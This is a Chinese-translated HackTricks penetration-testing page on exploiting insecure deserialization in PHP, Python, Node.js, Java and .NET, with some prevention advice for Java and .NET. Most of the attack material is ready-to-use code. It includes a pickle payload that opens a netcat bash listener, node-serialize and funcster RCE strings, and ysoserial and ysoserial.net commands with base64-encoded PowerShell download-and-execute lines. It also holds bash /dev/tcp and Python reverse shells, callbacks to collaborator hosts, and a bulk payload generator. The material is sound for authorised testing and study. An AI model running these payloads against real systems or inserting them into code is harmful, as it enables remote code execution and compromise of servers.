hacktricks/pentesting-web/deserialization
2023-12-21 12:42:20 +00:00
..
nodejs-proto-prototype-pollution Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:35:31 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Chinese 2023-08-03 19:12:22 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Chinese 2023-08-03 19:12:22 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Chinese 2023-08-03 19:12:22 +00:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:32:12 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to Chinese 2023-08-03 19:12:22 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Chinese 2023-08-03 19:12:22 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Chinese 2023-08-03 19:12:22 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:34:43 +00:00
php-deserialization-+-autoload-classes.md Translated to Chinese 2023-08-03 19:12:22 +00:00
python-yaml-deserialization.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['pentesting-web/deserialization/README.md'] to cn 2023-12-21 12:42:20 +00:00

反序列化

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

序列化是将某个对象转换为可以在以后恢复的数据格式的过程。人们通常将对象序列化以便将其保存到存储中,或作为通信的一部分发送。

反序列化是该过程的逆过程它将从某种格式中结构化的数据重建为对象。如今最流行的用于序列化数据的数据格式是JSON。在此之前是XML。

在许多情况下,您可以在服务器端找到一些代码,该代码对用户提供的某个对象进行反序列化。
在这种情况下,您可以发送恶意有效负载以使服务器端表现出意外行为。

您应该阅读:https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html以了解如何进行攻击。

PHP

与序列化一起使用的魔术方法:

  • __sleep 在对象被序列化时调用,必须返回数组

与反序列化一起使用的魔术方法:

  • __wakeup 在对象被反序列化时调用。
  • 如果存在,将调用__unserialize而不是__wakeup
  • __destruct 在PHP脚本结束和对象被销毁时调用。
  • __toString 将对象用作字符串,但也可以根据其中的函数调用来读取文件或执行其他操作。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

如果你查看结果,你会发现在对象反序列化时会调用**__wakeup__destruct函数。请注意,在一些教程中,你会发现在尝试打印某个属性时会调用__toString函数,但显然这种情况不再发生**。

{% hint style="warning" %} 如果在类中实现了方法**__unserialize(array $data),则会调用该方法而不是__wakeup()**。它允许你通过将序列化数据作为数组提供来反序列化对象。你可以使用此方法来反序列化属性并执行任何必要的任务。

phpCopy codeclass MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

您可以在此处阅读一个解释性的PHP示例https://www.notsosecure.com/remote-code-execution-via-php-unserialize/,这里https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf或者这里https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP反序列化 + 自动加载类

您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

序列化引用值

如果出于某种原因,您想将一个值序列化为对另一个值的引用,您可以:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGCPHP的ysoserial

PHPGGC可以帮助您生成用于滥用PHP反序列化的有效载荷。
请注意,在某些情况下,您可能无法在应用程序的源代码中找到滥用反序列化的方法,但您可能能够滥用外部PHP扩展的代码
因此,如果可以的话,请检查服务器的phpinfo()并在互联网上搜索(甚至在PHPGGC的小工具中)一些可能滥用的小工具。

phar://元数据反序列化

如果您找到的LFI只是读取文件而不执行其中的php代码例如使用函数如_file_get_contents()fopen()file()或file_exists()md5_file()filemtime()或filesize()_您可以尝试滥用使用phar协议读取文件时发生的反序列化
有关更多信息,请阅读以下文章:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

当对象被反pickle时将执行函数___reduce___。
当被利用时,服务器可能会返回错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

有关逃逸pickle jails的更多信息请查看

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml和jsonpickle

以下页面介绍了滥用Python库中不安全的yamls反序列化技术并提供了一个工具用于生成Pickle、PyYAML、jsonpickle和ruamel.yaml的RCE反序列化有效负载

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

类污染Python原型污染

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS魔术函数

JS 没有像PHP或Python那样的"魔术"函数,这些函数将在创建对象时执行。但它有一些经常被使用的函数,即使没有直接调用,比如**toStringvalueOftoJSON
如果滥用反序列化,您可以
破坏这些函数以执行其他代码**(潜在地滥用原型污染),当调用它们时,您可以执行任意代码。

另一种**"魔术"调用函数的方式是通过破坏由异步函数返回的对象**promise。因为如果您将该返回对象转换为另一个具有名为**"then"的类型为函数的属性promise**,它将被执行只因为它是由另一个promise返回的。请点击 此链接 了解更多信息。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype污染

如果你想了解这个技术,请参考以下教程:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

这个库允许对函数进行序列化。示例:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

序列化对象的样子如下所示:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

你可以在示例中看到,当一个函数被序列化时,_$$ND_FUNC$$_标志会被附加到序列化对象上。

在文件node-serialize/lib/serialize.js中,你可以找到相同的标志以及代码如何使用它。

正如你在最后一段代码中所看到的,如果找到了标志eval函数将被用于反序列化函数,所以基本上用户输入被用在了eval函数内部

然而,仅仅序列化一个函数不会执行它,因为需要代码的某个部分在我们的示例中调用y.rce,这是非常不可能的。
无论如何,你可以修改序列化对象,在其中添加一些括号,以便在对象被反序列化时自动执行序列化的函数。
在下一段代码中,请注意最后的括号以及unserialize函数将自动执行代码的方式:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

如前所述,该库将获取_$$ND_FUNC$$_后的代码,并使用eval执行它。因此,为了自动执行代码,您可以删除函数创建部分和最后的括号,然后像下面的示例一样执行一个 JS 单行代码

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

你可以在这里找到有关如何利用此漏洞的更多信息。

funcster

有趣的是,这里的标准内置对象是不可访问的,因为它们超出了范围。这意味着我们可以执行我们的代码,但不能调用内置对象的方法。因此,如果我们使用console.log()require(something)Node会返回一个异常"ReferenceError: console is not defined"

然而,我们仍然可以轻松地重新获得对所有内容的访问权限,因为我们仍然可以使用类似this.constructor.constructor("console.log(1111)")();的方式访问全局上下文:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

更多信息请阅读此页面

serialize-javascript

该软件包不包含任何反序列化功能,需要您自己实现。他们的示例直接使用了eval。这是官方的反序列化示例:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

如果这个函数被用于反序列化对象,你可以轻松地利用它

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Cryo库

在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:

Java - HTTP

Java中反序列化对象的主要问题是在反序列化过程中调用了反序列化回调函数。这使得攻击者能够利用这些回调函数并准备一个滥用回调函数以执行恶意操作的有效载荷。

指纹

白盒

在代码中搜索序列化类和函数。例如,搜索实现Serializable接口的类,使用java.io.ObjectInputStreamreadObjectreadUnshare函数。

您还应该注意以下内容:

  • 具有外部用户定义参数的XMLdecoder
  • 具有fromXML方法的XStreamxstream版本<= v1.46易受序列化问题影响)
  • 具有readObjectObjectInputStream
  • 使用readObjectreadObjectNodDatareadResolvereadExternal
  • ObjectInputStream.readUnshared
  • Serializable

黑盒

Java序列化对象的指纹/魔术字节(来自ObjectInputStream

  • 十六进制中的AC ED 00 05
  • Base64中的rO0
  • HTTP响应的Content-type头设置为application/x-java-serialized-object
  • 先前压缩的十六进制中的1F 8B 08 00
  • 先前压缩的Base64中的H4sIA
  • 扩展名为.facesfaces.ViewState参数的Web文件。如果在Web应用程序中找到这个请查看有关Java JSF VewState反序列化的文章。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否存在漏洞

如果你想了解Java反序列化漏洞的工作原理,你应该查看基本的Java反序列化Java DNS反序列化,以及CommonsCollection1 Payload

白盒测试

你可以检查是否安装了任何已知漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

你可以尝试检查所有已知存在漏洞的库,并使用Ysoserial提供的漏洞利用来进行测试。或者你可以检查Java-Deserialization-Cheat-Sheet上指定的库。
你还可以使用gadgetinspector来搜索可能被利用的gadget链。
运行gadgetinspector(构建后)时,不要担心它经历的大量警告/错误并让它完成。它将把所有发现的结果写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意gadgetinspector不会创建漏洞利用并且可能会指示出假阳性

黑盒测试

使用Burp扩展程序gadgetprobe,您可以确定可用的库(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会更容易。
阅读此处以了解有关GadgetProbe的更多信息
GadgetProbe专注于**ObjectInputStream**反序列化。

使用Burp扩展程序Java Deserialization Scanner,您可以识别可利用ysoserial漏洞的易受攻击的库并对其进行利用。
阅读此处以了解有关Java Deserialization Scanner的更多信息。
Java Deserialization Scanner专注于**ObjectInputStream**反序列化。

您还可以使用Freddy在Burp中检测反序列化漏洞。该插件将检测与不仅ObjectInputStream相关的漏洞,还有与JsonYml反序列化库相关的漏洞。在主动模式下它将尝试使用sleep或DNS有效载荷来确认漏洞。
您可以在此处找到有关Freddy的更多信息。

序列化测试

并不仅仅是检查服务器是否使用了任何存在漏洞的库。有时,您可能能够更改序列化对象中的数据并绕过某些检查例如在Web应用程序中获得管理员权限
如果您发现一个Java序列化对象被发送到Web应用程序您可以使用SerializationDumperhttps://github.com/NickstaDB/SerializationDumper以更易读的格式打印发送的序列化对象。了解您发送的数据将更容易修改它并绕过某些检查。

利用

ysoserial

最著名的利用Java反序列化的工具是ysoserial在此处下载)。您还可以考虑使用ysoseral-modified,它允许您使用复杂的命令(例如使用管道)。
请注意,此工具专注于利用**ObjectInputStream**。
我建议您在使用RCE有效载荷之前先使用"URLDNS"有效载荷来测试是否可能进行注入。无论如何,请注意可能"URLDNS"有效载荷不起作用但其他RCE有效载荷可能起作用。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# 将负载以base64编码
base64 -w0 负载
在创建**java.lang.Runtime.exec()**的有效负载时,**不能使用特殊字符**,如">""|"来重定向执行的输出,"$()"来执行命令,甚至**通过空格**分隔的命令参数(你可以使用`echo -n "hello world"`,但不能使用`python2 -c 'print "Hello world"'`)。为了正确编码有效负载,你可以[使用此网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。

请随意使用下面的脚本创建适用于Windows和Linux的**所有可能的代码执行**有效负载,然后在易受攻击的网页上进行测试:
```python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

您可以使用https://github.com/pwntester/SerialKillerBypassGadgetCollection与ysoserial一起创建更多的漏洞利用。有关该工具的更多信息请参阅演讲的幻灯片https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec可用于生成用于利用Java中不同的Json和Yml序列化库的有效载荷。为了编译该项目我需要将以下依赖项添加到pom.xml中:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

安装 Maven,并编译项目:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

了解更多关于这个Java JSON库的信息https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

实验

为什么

Java非常喜欢在各个地方发送序列化对象。例如

  • HTTP请求中 - 参数、ViewState、Cookies等等。
  • RMI - 广泛使用的Java RMI协议完全基于序列化。
  • RMI over HTTP - 许多Java厚客户端Web应用程序使用此协议 - 再次是100%的序列化对象。
  • JMX - 同样,依赖于通过网络发送的序列化对象。
  • 自定义协议 - 发送和接收原始Java对象是常态 - 我们将在即将到来的一些攻击中看到。

预防

瞬态对象

实现Serializable接口的类可以将类内部不应该被序列化的任何对象标记为transient。例如:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免对需要实现Serializable接口的类进行序列化

由于类的层次结构,你的一些应用对象可能被强制实现Serializable接口。为了确保你的应用对象无法被反序列化,应该声明一个readObject()方法(带有final修饰符),该方法始终抛出异常:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

在反序列化之前检查反序列化的类

java.io.ObjectInputStream 类用于反序列化对象。通过对其进行子类化,可以增强其行为。如果满足以下条件,则这是最佳解决方案:

  • 您可以更改执行反序列化的代码
  • 您知道希望反序列化的类是哪些

总体思路是重写 ObjectInputStream.html#resolveClass() 方法,以限制允许反序列化的类。

由于此调用发生在调用 readObject() 之前,您可以确保除非是您希望允许的类型,否则不会发生任何反序列化活动。

下面是一个简单的示例,其中 LookAheadObjectInputStream 类保证只反序列化 Bicycle 类型:

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

使用代理加固所有java.io.ObjectInputStream的使用

如果你不拥有代码或者不能等待修补程序,使用代理来编织对java.io.ObjectInputStream的加固是最好的解决方案。
使用这种方法,你只能将已知的恶意类型列入黑名单,而不能将它们列入白名单,因为你不知道哪些对象正在被序列化。

要启用这些代理只需添加一个新的JVM参数

-javaagent:name-of-agent.jar

参考资料

JNDI注入和log4Shell

在以下页面中找到JNDI注入是什么如何通过RMI、CORBA和LDAP滥用它以及如何利用log4shell(以及此漏洞的示例):

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java消息服务

Java消息服务JMSAPI是用于在两个或多个客户端之间发送消息的Java面向消息的中间件API。它是处理生产者-消费者问题的实现。JMS是Java平台企业版Java EE的一部分并由Sun Microsystems开发的规范指导但现在由Java社区进程指导。它是一种允许基于Java EE的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信松散耦合、可靠和异步。来自Wikipedia)。

产品

有几个使用此中间件发送消息的产品:

利用

因此,基本上有一些使用JMS的服务以危险的方式。因此,如果您有足够的权限向这些服务发送消息(通常需要有效的凭据),您可能能够发送恶意对象序列化,由消费者/订阅者进行反序列化
这意味着在此利用中,所有使用该消息的客户端都将被感染

您应该记住即使服务存在漏洞因为它不安全地反序列化用户输入您仍然需要找到有效的gadgets来利用该漏洞。

工具JMET被创建用于连接和攻击这些服务发送使用已知gadgets序列化的多个恶意对象。如果服务仍然存在漏洞并且使用的任何gadgets都在易受攻击的应用程序中这些利用将起作用。

参考资料

.Net

与Java类似.Net在反序列化利用方面的工作方式也相似利用滥用gadgets,当对象反序列化时执行一些有趣的代码

指纹识别

WhiteBox

在源代码中搜索以下术语:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

查找任何由用户控制的变量设置类型的序列化器。

BlackBox

您可以搜索Base64编码的字符串AAEAAAD/////或任何其他可能在后端进行反序列化的内容,并允许您控制反序列化的类型。例如,包含TypeObject$typeJSONXML

ysoserial.net

在这种情况下,您可以使用工具ysoserial.net来创建反序列化利用。下载git存储库后您应该使用Visual Studio等工具编译该工具

如果您想了解ysoserial.net如何创建其利用,您可以查看此页面其中解释了ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter

ysoserial.net的主要选项有:--gadget--formatter--output--plugin

  • --gadget 用于指示要滥用的gadget指示在反序列化期间将被滥用以执行命令的类/函数)。
  • --formatter 用于指示用于序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库来序列化它)
  • --output 用于指示是否要以原始Base64编码的形式提供利用。_请注意ysoserial.net将使用UTF-16LEWindows上默认使用的编码对有效负载进行编码因此如果您获取原始负载并仅从Linux控制台进行编码可能会遇到一些编码兼容性问题这将导致利用无法正常工作在HTB JSON盒子中有效负载在UTF-16LE和ASCII中都有效但这并不意味着它总是有效
  • --plugin ysoserial.net支持插件来构建针对特定框架的利用如ViewState

更多ysoserial.net参数

  • --minify将提供一个更小的有效负载(如果可能)
  • --raf -f Json.Net -c "anything" 这将指示可以与提供的格式化程序(在本例中为Json.Net一起使用的所有gadgets。
  • --sf xml 您可以指定一个gadget-gysoserial.net将搜索包含"xml"(不区分大小写)的格式化程序。

ysoserial示例以创建利用:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net还有一个非常有趣的参数,可以帮助更好地理解每个漏洞的工作原理:--test。如果你指定了这个参数,ysoserial.net将在本地尝试执行漏洞,这样你就可以测试你的有效载荷是否能正常工作。这个参数非常有用,因为如果你查看代码,你会发现像下面这样的代码块(来自ObjectDataProviderGenerator.cs

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

这意味着为了测试漏洞,代码将调用serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

之前的代码中存在漏洞。因此,如果在一个.Net应用程序中找到类似的代码那么很可能该应用程序也存在漏洞。
因此,--test参数允许我们了解哪些代码块容易受到ysoserial.net可以创建的反序列化漏洞的攻击。

ViewState

请查看这篇关于如何尝试利用.Net的__ViewState参数的POST来执行任意代码。如果你已经知道受害机器使用的密钥阅读这篇文章以了解如何执行代码

预防措施

不要允许数据流定义流将被反序列化为的对象类型。例如,如果可能的话,可以通过使用DataContractSerializerXmlSerializer来防止这种情况发生。

在使用JSON.Net时,请确保TypeNameHandling仅设置为None

TypeNameHandling = TypeNameHandling.None

如果要使用JavaScriptSerializer,则不要与JavaScriptTypeResolver一起使用。

如果必须反序列化定义了自己类型的数据流,则应限制允许反序列化的类型。但是,应该意识到这仍然存在风险,因为许多本机的 .Net 类型本身可能是危险的。例如:

System.IO.FileInfo

FileInfo 对象引用实际位于服务器上的文件,当进行反序列化时,可以更改这些文件的属性,例如将其设置为只读,从而创建潜在的拒绝服务攻击。

即使您已经限制了可以进行反序列化的类型,也要记住某些类型具有风险的属性。例如,System.ComponentModel.DataAnnotations.ValidationException 具有一个名为 Value 的属性,其类型为 Object。如果允许反序列化的类型是该类型,则攻击者可以将 Value 属性设置为任何他们选择的对象类型。

应该防止攻击者操纵将要实例化的类型。如果这是可能的,甚至可以破坏 DataContractSerializerXmlSerializer

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

在反序列化过程中,某些 .Net 类型可能会发生执行操作。创建如下所示的控件是无效的。

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}

对于BinaryFormatterJSON.Net,可以使用自定义的SerializationBinder创建更安全的白名单控制形式。

请时刻关注已知的.Net不安全反序列化gadget并特别注意在反序列化过程中可能创建此类类型的位置。反序列化器只能实例化它所知道的类型

请将可能创建潜在gadget的任何代码与具有互联网连接的代码分开。例如在WPF应用程序中使用的System.Windows.Data.ObjectDataProvider是一个已知的gadget允许任意方法调用。在反序列化不受信任的数据的REST服务项目中引用此程序集将是有风险的。

参考资料

Ruby

